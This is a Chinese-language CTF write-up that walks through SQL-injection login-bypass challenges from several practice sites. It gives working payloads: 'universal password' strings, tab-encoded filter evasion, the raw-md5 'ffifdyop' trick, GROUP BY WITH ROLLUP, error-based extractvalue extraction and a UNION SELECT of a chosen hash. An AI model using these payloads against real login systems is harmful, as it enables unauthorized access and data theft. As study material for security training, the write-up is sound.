| SQL注入是CTF的WEB方向必不可少的一種題型,斗哥最近也做了一些在線題目,其中最常見的題目就是給出一個登錄界面,讓我們繞過限制登錄或者一步步注入數據。 萬能密碼—very easy 題目入口:http://lab1.xseclab.com/sqli2_32 ... c31550b60/index.php 題目來源:hacking lab inject 01~
<ignore_js_op>
源代碼有提示:
<ignore_js_op>
萬能密碼登錄語句構造: select * from admin where username='admin'and 1=1 #' and password='123456' 萬能密碼— easy 題目入口:http://redtiger.labs.overthewire.org/level2.php 題目來源:RedTigers Hackit Level 2 Simple login-bypass 做題密碼:4_is_not_random 構造語句: username=1&password=1'or'1'or'1&login=Login
萬能密碼— not than easy 題目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 題目來源:實驗吧,不要懷疑,我已經過濾了一切,還再逼你注入,哈哈哈哈哈!
<ignore_js_op>
常規方式使用萬能密碼,發現'沒有被過濾,or,--+,#被過濾。
<ignore_js_op>
假設后台sql查詢語句為: select * from user where username='$user' and password='$pass' 構造payload: username=reborn'='&password=reborn'='
<ignore_js_op>
select * from user where username='reborn'='' and password='reborn'='' username='reborn'返回值為0,相當於false,然后0=''的結果為1,相當於true。 所以注入語句相當於: select * from user where 1 and 1 萬能密碼— little hard ? 題目入口:http://123.59.52.228:1515/route.php?act=index 題目來源:2017年全國大學生信息安全競賽的web題。
<ignore_js_op>
提交的時候,返回包有提示這么一個sql語句: select count(*) from t_info where username = '1' or nickname = '1' ' 轉義 \ \ 轉義 \\ " 轉義 \" 空格被過濾:但'可以轉義掉原本的' name=or 1 #'&submit=check 用%09代替空格,%09是制表符的URL編碼 。 name=or%091%09#'&submit=check <ignore_js_op>
萬能密碼— md5($pass,true) 題目入口:http://web.jarvisoj.com:32772/ 題目來源:jarvis oj,Login:需要密碼才能獲得flag哦。 本題是一個登錄頁面。
<ignore_js_op>
通過burp抓包攔截,返回包有提示:
<ignore_js_op>
Hint: "select * from `admin` where password='".md5($pass,true)."'" * md5(string,raw)* string 必需。規定要計算的字符串。 raw 可選。規定十六進制或二進制輸出格式: • TRUE - 原始 16 字符二進制格式 • FALSE - 默認。32 字符十六進制數如果md5計算后的值經過hex轉成字符串后為 ”or’xxx’這樣的字符串,則拼接后構成的語句為: select * from `admin` where password=''or'xxx' 下面提供兩個payload: content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: ?T0D??o#??'or'8.N=? content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6蒥欓!r,b 類似題目: 題目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 題目來源:hacking lab inject 09~ 看到源代碼password='".md5($_GET['pwd'], true),就知道這道題和題目3的解法是一致的。 http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop 萬能密碼— with rollup 題目入口: http://ctf5.shiyanbar.com/web/pcat/index.php 題目來源:實驗吧 訪問鏈接是登錄頁面:
<ignore_js_op>
查看網頁源代碼有提示:
<ignore_js_op>
訪問:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到題目源代碼。 <?php 從源代碼得出,注入點在uname這個位置上,$filter沒有過濾掉 or 注入成功要滿足幾個條件: 1.mysql_num_rows($query) == 1 即查詢返回的結果行數為1 2.$key['pwd'] == $_POST['pwd'] 即查詢返回的結果與POST發送的pwd值相同 解題: group by pass with rollup 的技巧 mysql> select user from users group by user; 可以發現,在加上with roll up之后,返回pass最后一行多了一個NULL。當我們POST的pass為空,即可滿足$key['pwd'] == $_POST['pwd']條件。 如何讓返回的結果只取最后一行呢? 因為過濾了,所以無法使用limit 5,1這樣的語法 可以使用limit 1 offset 5 mysql> select user from users group by 1 with rollup limit 1 offset 5; uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd= 題目入口: http://ctf5.shiyanbar.com/web/5/index.php 題目來源:實驗吧,程序邏輯問題 本題源代碼:http://ctf5.shiyanbar.com/web/5/index.txt <html> 首先可以發現user處存在注入點,並且會回顯錯誤信息,第一個想到的是報錯注入。 user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111 結果密碼並不是admin/111。 user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111 結果提示: <ignore_js_op>
既然是程序邏輯漏洞,然就繼續看代碼吧。 if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { 既然user存在注入,我們可以讓返回的結果為任何值,只要等於我們輸入pass的md5值。 如:reborn的md5加密的值為5ce3c6e5c3f84bdc0f45148adfd16ae6 因此我們可以構造payload: user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn 結果: <ignore_js_op>
<ignore_js_op>
|
